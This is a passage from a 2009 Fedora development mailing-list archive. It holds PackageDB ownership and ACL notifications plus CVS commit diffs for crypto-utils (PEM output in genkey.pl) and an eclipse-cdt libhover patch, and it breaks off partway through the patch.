Subject: [pkgdb] jbrout ownership updated
Message-ID: <20091002171506.8DB6210F87E@bastion2.fedora.phx.redhat.com>

Package jbrout in Fedora 8 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/jbrout



From pkgdb at fedoraproject.org  Fri Oct  2 17:15:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 17:15:10 +0000
Subject: [pkgdb] jbrout ownership updated
Message-ID: <20091002171510.5834710F7EA@bastion2.fedora.phx.redhat.com>

Package jbrout in Fedora devel was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/jbrout



From pkgdb at fedoraproject.org  Fri Oct  2 17:15:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 17:15:15 +0000
Subject: [pkgdb] jbrout ownership updated
Message-ID: <20091002171515.7FF7E10F7EA@bastion2.fedora.phx.redhat.com>

Package jbrout in Fedora 11 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/jbrout



From pkgdb at fedoraproject.org  Fri Oct  2 17:15:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 17:15:11 +0000
Subject: [pkgdb] jbrout ownership updated
Message-ID: <20091002171511.EA78610F889@bastion2.fedora.phx.redhat.com>

Package jbrout in Fedora 12 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/jbrout



From pkgdb at fedoraproject.org  Fri Oct  2 17:15:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 17:15:14 +0000
Subject: [pkgdb] jbrout ownership updated
Message-ID: <20091002171515.AEFD310F88C@bastion2.fedora.phx.redhat.com>

Package jbrout in Fedora 10 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/jbrout



From pkgdb at fedoraproject.org  Fri Oct  2 17:15:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 17:15:49 +0000
Subject: [pkgdb] pspp ownership updated
Message-ID: <20091002171549.3DD9810F800@bastion2.fedora.phx.redhat.com>

Package pspp in Fedora devel was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/pspp



From pkgdb at fedoraproject.org  Fri Oct  2 17:15:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 17:15:52 +0000
Subject: [pkgdb] pspp ownership updated
Message-ID: <20091002171552.A5D3510F889@bastion2.fedora.phx.redhat.com>

Package pspp in Fedora 11 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/pspp



From pkgdb at fedoraproject.org  Fri Oct  2 17:15:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 17:15:52 +0000
Subject: [pkgdb] pspp ownership updated
Message-ID: <20091002171553.21F1810F88B@bastion2.fedora.phx.redhat.com>

Package pspp in Fedora 9 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/pspp



From pkgdb at fedoraproject.org  Fri Oct  2 17:15:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 17:15:56 +0000
Subject: [pkgdb] pspp ownership updated
Message-ID: <20091002171556.5A42A10F800@bastion2.fedora.phx.redhat.com>

Package pspp in Fedora 8 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/pspp



From pkgdb at fedoraproject.org  Fri Oct  2 17:16:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 17:16:01 +0000
Subject: [pkgdb] pspp ownership updated
Message-ID: <20091002171601.28BCE10F7C4@bastion2.fedora.phx.redhat.com>

Package pspp in Fedora 10 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/pspp



From pkgdb at fedoraproject.org  Fri Oct  2 17:16:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 17:16:07 +0000
Subject: [pkgdb] pspp ownership updated
Message-ID: <20091002171607.D2A7310F7EA@bastion2.fedora.phx.redhat.com>

Package pspp in Fedora 12 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/pspp



From pkgdb at fedoraproject.org  Fri Oct  2 17:21:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 17:21:30 +0000
Subject: [pkgdb] jbrout ownership updated
Message-ID: <20091002172130.63D9310F7EA@bastion2.fedora.phx.redhat.com>

Package jbrout in Fedora devel is now owned by peter

To make changes to this package see:
  /pkgdb/packages/name/jbrout



From pkgdb at fedoraproject.org  Fri Oct  2 17:21:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 17:21:36 +0000
Subject: [pkgdb] jbrout ownership updated
Message-ID: <20091002172137.0952C10F7EA@bastion2.fedora.phx.redhat.com>

Package jbrout in Fedora 10 is now owned by peter

To make changes to this package see:
  /pkgdb/packages/name/jbrout



From pkgdb at fedoraproject.org  Fri Oct  2 17:21:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 17:21:41 +0000
Subject: [pkgdb] jbrout ownership updated
Message-ID: <20091002172141.F114410F7EA@bastion2.fedora.phx.redhat.com>

Package jbrout in Fedora 11 is now owned by peter

To make changes to this package see:
  /pkgdb/packages/name/jbrout



From pkgdb at fedoraproject.org  Fri Oct  2 17:21:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 17:21:43 +0000
Subject: [pkgdb] jbrout ownership updated
Message-ID: <20091002172143.EE64D10F875@bastion2.fedora.phx.redhat.com>

Package jbrout in Fedora 12 is now owned by peter

To make changes to this package see:
  /pkgdb/packages/name/jbrout



From emaldonado at fedoraproject.org  Fri Oct  2 18:14:45 2009
From: emaldonado at fedoraproject.org (Elio Maldonado)
Date: Fri,  2 Oct 2009 18:14:45 +0000 (UTC)
Subject: rpms/crypto-utils/F-12 genkey.pl,1.28,1.29
Message-ID: <20091002181445.8785A11C00C1@cvs1.fedora.phx.redhat.com>

Author: emaldonado

Update of /cvs/extras/rpms/crypto-utils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv640

Modified Files:
	genkey.pl 
Log Message:
Output CSRs, certs, and key in ascii PEM format, nor raw DER (#526720)


Index: genkey.pl
===================================================================
RCS file: /cvs/extras/rpms/crypto-utils/F-12/genkey.pl,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- genkey.pl	20 May 2009 15:53:54 -0000	1.28
+++ genkey.pl	2 Oct 2009 18:14:45 -0000	1.29
@@ -1086,7 +1086,8 @@ sub genRequestOpenSSL
     my $args = "-c genreq ";
     $args   .= "-g $bits "; 
     $args   .= "-s $subject ";
-    $args   .= "-v $months "; 
+    $args   .= "-v $months ";
+    $args   .= "-a ";              ## using ascii
     $args   .= "-o $csrfile ";
     $args   .= "-k $keyfile "; 
     $args   .= "-e $keyEncPassword " if $keyEncPassword;
@@ -1166,6 +1167,7 @@ sub renewCertOpenSSL
     # This is a request where we reuse the existing key pair
 
     my $args = "--command genreq ";
+    $args   .= "--ascii ";              ## using ascii
     $args   .= "--renew $certfile "; 
     $args   .= "--input $keyfile "; 
     $args   .= "--cacert " if $cacert;



From emaldonado at fedoraproject.org  Fri Oct  2 18:15:29 2009
From: emaldonado at fedoraproject.org (Elio Maldonado)
Date: Fri,  2 Oct 2009 18:15:29 +0000 (UTC)
Subject: rpms/crypto-utils/F-12 crypto-utils.spec,1.63,1.64
Message-ID: <20091002181529.0FE5611C00C1@cvs1.fedora.phx.redhat.com>

Author: emaldonado

Update of /cvs/extras/rpms/crypto-utils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv840

Modified Files:
	crypto-utils.spec 
Log Message:
Fix genkey to produce CSRs, certs, and key in ascii PEM format (#526720)


Index: crypto-utils.spec
===================================================================
RCS file: /cvs/extras/rpms/crypto-utils/F-12/crypto-utils.spec,v
retrieving revision 1.63
retrieving revision 1.64
diff -u -p -r1.63 -r1.64
--- crypto-utils.spec	30 Jul 2009 21:02:00 -0000	1.63
+++ crypto-utils.spec	2 Oct 2009 18:15:28 -0000	1.64
@@ -4,7 +4,7 @@
 Summary: SSL certificate and key management utilities
 Name: crypto-utils
 Version: 2.4.1
-Release: 22
+Release: 23
 Source: crypto-rand-%{crver}.tar.gz
 Source1: genkey.pl
 Source2: certwatch.c
@@ -131,6 +131,9 @@ chmod -R u+w $RPM_BUILD_ROOT
 %{perl_vendorarch}/auto/Crypt
 
 %changelog
+* Thu Oct 01 2009 Elio Maldonado<emaldona at redhat.com> - 2.4.1-23
+- Fix genkey to produce CSRs, certs, and key in ascii PEM format (#526720)
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.4.1-22
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From pkgdb at fedoraproject.org  Fri Oct  2 18:23:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 18:23:43 +0000
Subject: [pkgdb] system-config-cluster: rmccabe has requested watchbugzilla
Message-ID: <20091002182343.9F5B510F875@bastion2.fedora.phx.redhat.com>

rmccabe has requested the watchbugzilla acl on system-config-cluster (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Fri Oct  2 18:23:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 18:23:49 +0000
Subject: [pkgdb] system-config-cluster: rmccabe has requested commit
Message-ID: <20091002182349.400E110F889@bastion2.fedora.phx.redhat.com>

rmccabe has requested the commit acl on system-config-cluster (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Fri Oct  2 18:23:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 18:23:49 +0000
Subject: [pkgdb] system-config-cluster: rmccabe has requested approveacls
Message-ID: <20091002182349.E86CE10F892@bastion2.fedora.phx.redhat.com>

rmccabe has requested the approveacls acl on system-config-cluster (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Fri Oct  2 18:23:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 18:23:51 +0000
Subject: [pkgdb] system-config-cluster: rmccabe has requested commit
Message-ID: <20091002182351.C202110F8A8@bastion2.fedora.phx.redhat.com>

rmccabe has requested the commit acl on system-config-cluster (Fedora 7)

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Fri Oct  2 18:23:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 18:23:52 +0000
Subject: [pkgdb] system-config-cluster: rmccabe has requested approveacls
Message-ID: <20091002182352.B596810F8AB@bastion2.fedora.phx.redhat.com>

rmccabe has requested the approveacls acl on system-config-cluster (Fedora 7)

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Fri Oct  2 18:23:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 18:23:53 +0000
Subject: [pkgdb] system-config-cluster: rmccabe has requested commit
Message-ID: <20091002182353.E378F10F8B2@bastion2.fedora.phx.redhat.com>

rmccabe has requested the commit acl on system-config-cluster (Fedora 8)

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Fri Oct  2 18:23:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 18:23:56 +0000
Subject: [pkgdb] system-config-cluster: rmccabe has requested commit
Message-ID: <20091002182356.DC95510F8B3@bastion2.fedora.phx.redhat.com>

rmccabe has requested the commit acl on system-config-cluster (Fedora 9)

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Fri Oct  2 18:23:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 18:23:54 +0000
Subject: [pkgdb] system-config-cluster: rmccabe has requested approveacls
Message-ID: <20091002182354.BB27A10F8AF@bastion2.fedora.phx.redhat.com>

rmccabe has requested the approveacls acl on system-config-cluster (Fedora 8)

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Fri Oct  2 18:23:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 18:23:57 +0000
Subject: [pkgdb] system-config-cluster: rmccabe has requested approveacls
Message-ID: <20091002182357.B603610F894@bastion2.fedora.phx.redhat.com>

rmccabe has requested the approveacls acl on system-config-cluster (Fedora 9)

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Fri Oct  2 18:23:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 18:23:58 +0000
Subject: [pkgdb] system-config-cluster: rmccabe has requested commit
Message-ID: <20091002182358.C904810F8BA@bastion2.fedora.phx.redhat.com>

rmccabe has requested the commit acl on system-config-cluster (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Fri Oct  2 18:23:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 18:23:59 +0000
Subject: [pkgdb] system-config-cluster: rmccabe has requested approveacls
Message-ID: <20091002182359.B890910F8C1@bastion2.fedora.phx.redhat.com>

rmccabe has requested the approveacls acl on system-config-cluster (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Fri Oct  2 18:24:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 18:24:00 +0000
Subject: [pkgdb] system-config-cluster: rmccabe has requested commit
Message-ID: <20091002182400.C1EB310F8C0@bastion2.fedora.phx.redhat.com>

rmccabe has requested the commit acl on system-config-cluster (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Fri Oct  2 18:24:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 18:24:01 +0000
Subject: [pkgdb] system-config-cluster: rmccabe has requested approveacls
Message-ID: <20091002182401.D278510F8C2@bastion2.fedora.phx.redhat.com>

rmccabe has requested the approveacls acl on system-config-cluster (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Fri Oct  2 18:24:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 18:24:02 +0000
Subject: [pkgdb] system-config-cluster: rmccabe has requested commit
Message-ID: <20091002182402.E300D10F8C6@bastion2.fedora.phx.redhat.com>

rmccabe has requested the commit acl on system-config-cluster (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Fri Oct  2 18:24:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 18:24:09 +0000
Subject: [pkgdb] system-config-cluster: rmccabe has requested approveacls
Message-ID: <20091002182409.5499610F8AB@bastion2.fedora.phx.redhat.com>

rmccabe has requested the approveacls acl on system-config-cluster (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From jjohnstn at fedoraproject.org  Fri Oct  2 18:58:22 2009
From: jjohnstn at fedoraproject.org (Jeff Johnston)
Date: Fri,  2 Oct 2009 18:58:22 +0000 (UTC)
Subject: rpms/eclipse-cdt/F-11 eclipse-cdt-libhover-oldcdt.patch, NONE,
	1.1 eclipse-cdt.spec, 1.124, 1.125
Message-ID: <20091002185822.98FC711C00C1@cvs1.fedora.phx.redhat.com>

Author: jjohnstn

Update of /cvs/extras/rpms/eclipse-cdt/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19993

Modified Files:
	eclipse-cdt.spec 
Added Files:
	eclipse-cdt-libhover-oldcdt.patch 
Log Message:

Scratch build to verify changes work.


eclipse-cdt-libhover-oldcdt.patch:
 META-INF/MANIFEST.MF                                                  |    1 
 src/org/eclipse/linuxtools/cdt/libhover/LibhoverPlugin.java           |    1 
 src/org/eclipse/linuxtools/internal/cdt/libhover/LibHover.java        |  378 +++++-----
 src/org/eclipse/linuxtools/internal/cdt/libhover/LibHoverLibrary.java |   10 
 4 files changed, 205 insertions(+), 185 deletions(-)

--- NEW FILE eclipse-cdt-libhover-oldcdt.patch ---
diff -up ./org.eclipse.linuxtools.cdt.libhover/META-INF/MANIFEST.MF.fix ./org.eclipse.linuxtools.cdt.libhover/META-INF/MANIFEST.MF
--- ./org.eclipse.linuxtools.cdt.libhover/META-INF/MANIFEST.MF.fix	2009-10-02 14:32:05.000000000 -0400
+++ ./org.eclipse.linuxtools.cdt.libhover/META-INF/MANIFEST.MF	2009-10-02 14:33:28.000000000 -0400
@@ -18,3 +18,4 @@ Require-Bundle: org.eclipse.ui,
  org.eclipse.jface.text;bundle-version="3.4.1"
 Bundle-RequiredExecutionEnvironment: J2SE-1.5
 Export-Package: org.eclipse.linuxtools.cdt.libhover
+Bundle-ActivationPolicy: lazy
diff -up ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/cdt/libhover/LibhoverPlugin.java.fix ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/cdt/libhover/LibhoverPlugin.java
--- ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/cdt/libhover/LibhoverPlugin.java.fix	2009-10-02 14:32:28.000000000 -0400
+++ ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/cdt/libhover/LibhoverPlugin.java	2009-10-02 14:33:28.000000000 -0400
@@ -29,6 +29,7 @@ public class LibhoverPlugin extends Abst
 	 * The constructor
 	 */
 	public LibhoverPlugin() {
+		plugin = this;
 	}
 
 	/*
diff -up ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/internal/cdt/libhover/LibHover.java.fix ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/internal/cdt/libhover/LibHover.java
--- ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/internal/cdt/libhover/LibHover.java.fix	2009-10-02 14:32:44.000000000 -0400
+++ ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/internal/cdt/libhover/LibHover.java	2009-10-02 14:41:53.000000000 -0400
@@ -1,5 +1,5 @@
 /*******************************************************************************
- * Copyright (c) 2004, 2006, 2007, 2008 Red Hat, Inc.
+ * Copyright (c) 2004, 2006, 2007, 2008, 2009 Red Hat, Inc.
  * All rights reserved. This program and the accompanying materials
  * are made available under the terms of the Eclipse Public License v1.0
  * which accompanies this distribution, and is available at
@@ -213,44 +213,44 @@ public class LibHover implements ICHelpP
 		return Character.isLetterOrDigit(ch) || ch == '_' || ch == ':'; 
 	}
 
-	private class EnclosingASTNameJob extends SharedASTJob {
-		private int tlength;
-		private int toffset;
-		private IASTName result = null;
-		public EnclosingASTNameJob (ITranslationUnit t, 
-				int toffset, int tlength) {
-			super("EnclosingASTNameJob", t); // $NON-NLS-1$
-			this.toffset = toffset;
-			this.tlength = tlength;
-		}
-		public IStatus runOnAST(ILanguage lang, IASTTranslationUnit ast) {
-			if (ast != null) {
-				result = ast.getNodeSelector(null).findEnclosingName(toffset, tlength);
-			}
-			return Status.OK_STATUS;
-		}
-		public IASTName getASTName() {
-			return result;
-		}
-	}
-	
-	public class ASTDeclarationFinderJob extends SharedASTJob {
-		private IBinding binding;
-		private IASTName[] decls = null;
-		public ASTDeclarationFinderJob (ITranslationUnit t, IBinding binding) {
-			super("ASTDeclarationFinderJob", t); // $NON-NLS-1$
-			this.binding = binding;
-		}
-    	public IStatus runOnAST(ILanguage lang, IASTTranslationUnit ast) {
-    		if (ast != null) {
-    			decls = ast.getDeclarationsInAST(binding);
-    		}
-    		return Status.OK_STATUS;
-    	}
-    	public IASTName[] getDeclarations() {
-    		return decls;
-    	}
-	}
+//	private class EnclosingASTNameJob extends SharedASTJob {
+//		private int tlength;
+//		private int toffset;
+//		private IASTName result = null;
+//		public EnclosingASTNameJob (ITranslationUnit t, 
+//				int toffset, int tlength) {
+//			super("EnclosingASTNameJob", t); // $NON-NLS-1$
+//			this.toffset = toffset;
+//			this.tlength = tlength;
+//		}
+//		public IStatus runOnAST(ILanguage lang, IASTTranslationUnit ast) {
+//			if (ast != null) {
+//				result = ast.getNodeSelector(null).findEnclosingName(toffset, tlength);
+//			}
+//			return Status.OK_STATUS;
+//		}
+//		public IASTName getASTName() {
+//			return result;
+//		}
+//	}
+	
+//	public class ASTDeclarationFinderJob extends SharedASTJob {
+//		private IBinding binding;
+//		private IASTName[] decls = null;
+//		public ASTDeclarationFinderJob (ITranslationUnit t, IBinding binding) {
+//			super("ASTDeclarationFinderJob", t); // $NON-NLS-1$
+//			this.binding = binding;
+//		}
+//    	public IStatus runOnAST(ILanguage lang, IASTTranslationUnit ast) {
+//    		if (ast != null) {
+//    			decls = ast.getDeclarationsInAST(binding);
+//    		}
+//    		return Status.OK_STATUS;
+//    	}
+//    	public IASTName[] getDeclarations() {
+//    		return decls;
+//    	}
+//	}
 
 	public IFunctionSummary getFunctionInfo(ICHelpInvocationContext context, ICHelpBook[] helpBooks, String name) {
         IFunctionSummary f;
@@ -264,146 +264,146 @@ public class LibHover implements ICHelpP
         ITranslationUnit t = context.getTranslationUnit();
         
         String className = null;
-        ICPPFunctionType methodType = null;
+//        ICPPFunctionType methodType = null;
         
-        if (t.isCXXLanguage()) {
-        	try {
-        		if (context instanceof IHoverHelpInvocationContext) {
-        			// We know the file offset of the member reference.
-        			IRegion region = (IRegion)((IHoverHelpInvocationContext)context).getHoverRegion();
-        			char[] contents = t.getCodeReader().buffer;
-        			int i = region.getOffset();
-        			// Let's figure out if it is a pointer reference or a direct reference in which case we can
-        			// find the variable and hence it's class.
-        			if (i > 2 && contents[i-1] == '>' && contents[i-2] == '-') {
-        				// Pointer reference
-        				int j = i - 3;
-        				int pointer = 0;
-        				while (j > 0 && isCPPCharacter(contents[j])) {
-        					pointer = j;
-        					--j;
-        				}
-        				if (pointer != 0) {
-        					offset = pointer;
-        					length = region.getOffset() - pointer - 2;
-        					isPTR = true;
-        					//						String pointerName = new String(contents, pointer, region.getOffset() - pointer - 2);
-        					//						System.out.println("pointer reference to " + pointerName);
-        				}
-        			} else if (i > 1 && contents[i-1] == '.') {
-        				int j = i - 2;
-        				int ref = 0;
-        				while (j > 0 && isCPPCharacter(contents[j])) {
-        					ref = j;
-        					--j;
-        				}
-        				if (ref != 0) {
-        					offset = ref;
-        					length = region.getOffset() - ref - 1;
-        					isREF = true;
-        					//						String refName = new String(contents, ref, region.getOffset() - ref - 1);
-        					//						System.out.println("regular reference to " + refName);
-        				}
-        			}
-        			final IASTName[] result= {null};
-        			final int toffset = offset;
-        			final int tlength = length;
-
-        			// If we have a pointer or reference variable, get its ASTName.
-        			if (isPTR || isREF) {
-        				EnclosingASTNameJob job = new EnclosingASTNameJob(t, toffset, tlength);
-        				job.schedule();
-        				try {
-        					job.join();
-        				} catch (InterruptedException e) {
-        					// TODO Auto-generated catch block
-        					e.printStackTrace();
-        				}
-        				if (job.getResult() == Status.OK_STATUS)
-        					result[0] = job.getASTName();
-        			}
-
-        			// If we get the ASTName for the variable, let's find its declaration which will give us its class.
-        			final IASTName[][] decl = {null};
-        			if (result[0] != null) {
-        				final IBinding binding = result[0].resolveBinding();
-        				ASTDeclarationFinderJob job = new ASTDeclarationFinderJob(t, binding);
-        				job.schedule();
-        				try {
-        					job.join();
-        				} catch (InterruptedException e) {
-        					// TODO Auto-generated catch block
-        					e.printStackTrace();
-        				}
-        				if (job.getResult() == Status.OK_STATUS) {
-        					decl[0] = job.getDeclarations();
-        				}
-        			}
-
-        			// Look for a simple declaration.
-        			IASTNode n = null;
-        			if (decl[0] != null && decl[0].length > 0) {
-         				n = decl[0][0];
-        				while (n != null && !(n instanceof IASTSimpleDeclaration)) {
-        					n = n.getParent();
-        				}
-        			}
-
-        			// If we have the simple declaration, get its declaration specifier which hopefully will
-        			// be a named type.
-        			if (n != null) {
-        				IASTSimpleDeclaration d = (IASTSimpleDeclaration)n;
-        				IASTDeclSpecifier s = d.getDeclSpecifier();
-        				if (s instanceof IASTNamedTypeSpecifier) {
-        					// From the named type, we can get the binding of the type name and from that,
-        					// its qualified name.  We need a qualified name (i.e. with namespace) because our
-        					// repository of classes and typedefs are hashed by fully qualified names.
-        					IASTName astName = ((IASTNamedTypeSpecifier)s).getName();
-        					if (astName != null) {
-        						IBinding nameBinding = astName.resolveBinding();
-        						if (nameBinding instanceof ICPPBinding) {
-        							String[] qualified = ((ICPPBinding)nameBinding).getQualifiedName();
-        							className = qualified[0];
-        							for (int k = 1; k < qualified.length; ++k)
-        								className += "::" + qualified[k];
-        						} else {
-        							className = nameBinding.getName();
-        						}
-        					}
-        				}
-        			}
-//        							System.out.println("classname is " + className);
-        			
-        			// Now, let's find the declaration of the method.  We need to do this because we want the specific
-        			// member prototype to go searching for.  There could be many members called "x" which have different
-        			// documentation.
-        			if (className != null) {
-        				EnclosingASTNameJob job = new EnclosingASTNameJob(t, region.getOffset(), region.getLength());
-        				job.schedule();
-        				try {
-        					job.join();
-        				} catch (InterruptedException e) {
-        					// TODO Auto-generated catch block
-        					e.printStackTrace();
-        				}
-        				if (job.getResult() == Status.OK_STATUS)
-        					result[0] = job.getASTName();
-        			}
-        			if (result[0] != null) {
-        				final IBinding binding = result[0].getBinding();
-        				if (binding instanceof ICPPFunction) {
-        					methodType = ((ICPPFunction)binding).getType();
-        				}
-        			}
-        		}
-        	} catch (IllegalArgumentException e) {
-        		// TODO Auto-generated catch block
-        		e.printStackTrace();
-        	} catch (DOMException e) {
-				// TODO Auto-generated catch block
-				e.printStackTrace();
-			}
-        }
+//        if (t.isCXXLanguage()) {
+//        	try {
+//        		if (context instanceof IHoverHelpInvocationContext) {
+//        			// We know the file offset of the member reference.
+//        			IRegion region = (IRegion)((IHoverHelpInvocationContext)context).getHoverRegion();
+//        			char[] contents = t.getCodeReader().buffer;
+//        			int i = region.getOffset();
+//        			// Let's figure out if it is a pointer reference or a direct reference in which case we can
+//        			// find the variable and hence it's class.
+//        			if (i > 2 && contents[i-1] == '>' && contents[i-2] == '-') {
+//        				// Pointer reference
+//        				int j = i - 3;
+//        				int pointer = 0;
+//        				while (j > 0 && isCPPCharacter(contents[j])) {
+//        					pointer = j;
+//        					--j;
+//        				}
+//        				if (pointer != 0) {
+//        					offset = pointer;
+//        					length = region.getOffset() - pointer - 2;
+//        					isPTR = true;
+//        					//						String pointerName = new String(contents, pointer, region.getOffset() - pointer - 2);
+//        					//						System.out.println("pointer reference to " + pointerName);
+//        				}
+//        			} else if (i > 1 && contents[i-1] == '.') {
+//        				int j = i - 2;
+//        				int ref = 0;
+//        				while (j > 0 && isCPPCharacter(contents[j])) {
+//        					ref = j;
+//        					--j;
+//        				}
+//        				if (ref != 0) {
+//        					offset = ref;
+//        					length = region.getOffset() - ref - 1;
+//        					isREF = true;
+//        					//						String refName = new String(contents, ref, region.getOffset() - ref - 1);
+//        					//						System.out.println("regular reference to " + refName);
+//        				}
+//        			}
+//        			final IASTName[] result= {null};
+//        			final int toffset = offset;
+//        			final int tlength = length;
+//
+//        			// If we have a pointer or reference variable, get its ASTName.
+//        			if (isPTR || isREF) {
+//        				EnclosingASTNameJob job = new EnclosingASTNameJob(t, toffset, tlength);
+//        				job.schedule();
+//        				try {
+//        					job.join();
+//        				} catch (InterruptedException e) {
+//        					// TODO Auto-generated catch block
+//        					e.printStackTrace();
+//        				}
+//        				if (job.getResult() == Status.OK_STATUS)
+//        					result[0] = job.getASTName();
+//        			}
+//
+//        			// If we get the ASTName for the variable, let's find its declaration which will give us its class.
+//        			final IASTName[][] decl = {null};
+//        			if (result[0] != null) {
+//        				final IBinding binding = result[0].resolveBinding();
+//        				ASTDeclarationFinderJob job = new ASTDeclarationFinderJob(t, binding);
+//        				job.schedule();
+//        				try {
+//        					job.join();
+//        				} catch (InterruptedException e) {
+//        					// TODO Auto-generated catch block
+//        					e.printStackTrace();
+//        				}
+//        				if (job.getResult() == Status.OK_STATUS) {
+//        					decl[0] = job.getDeclarations();
+//        				}
+//        			}
+//
+//        			// Look for a simple declaration.
+//        			IASTNode n = null;
+//        			if (decl[0] != null && decl[0].length > 0) {
+//         				n = decl[0][0];
+//        				while (n != null && !(n instanceof IASTSimpleDeclaration)) {
+//        					n = n.getParent();
+//        				}
+//        			}
+//
+//        			// If we have the simple declaration, get its declaration specifier which hopefully will
+//        			// be a named type.
+//        			if (n != null) {
+//        				IASTSimpleDeclaration d = (IASTSimpleDeclaration)n;
+//        				IASTDeclSpecifier s = d.getDeclSpecifier();
+//        				if (s instanceof IASTNamedTypeSpecifier) {
+//        					// From the named type, we can get the binding of the type name and from that,
+//        					// its qualified name.  We need a qualified name (i.e. with namespace) because our
+//        					// repository of classes and typedefs are hashed by fully qualified names.
+//        					IASTName astName = ((IASTNamedTypeSpecifier)s).getName();
+//        					if (astName != null) {
+//        						IBinding nameBinding = astName.resolveBinding();
+//        						if (nameBinding instanceof ICPPBinding) {
+//        							String[] qualified = ((ICPPBinding)nameBinding).getQualifiedName();
+//        							className = qualified[0];
+//        							for (int k = 1; k < qualified.length; ++k)
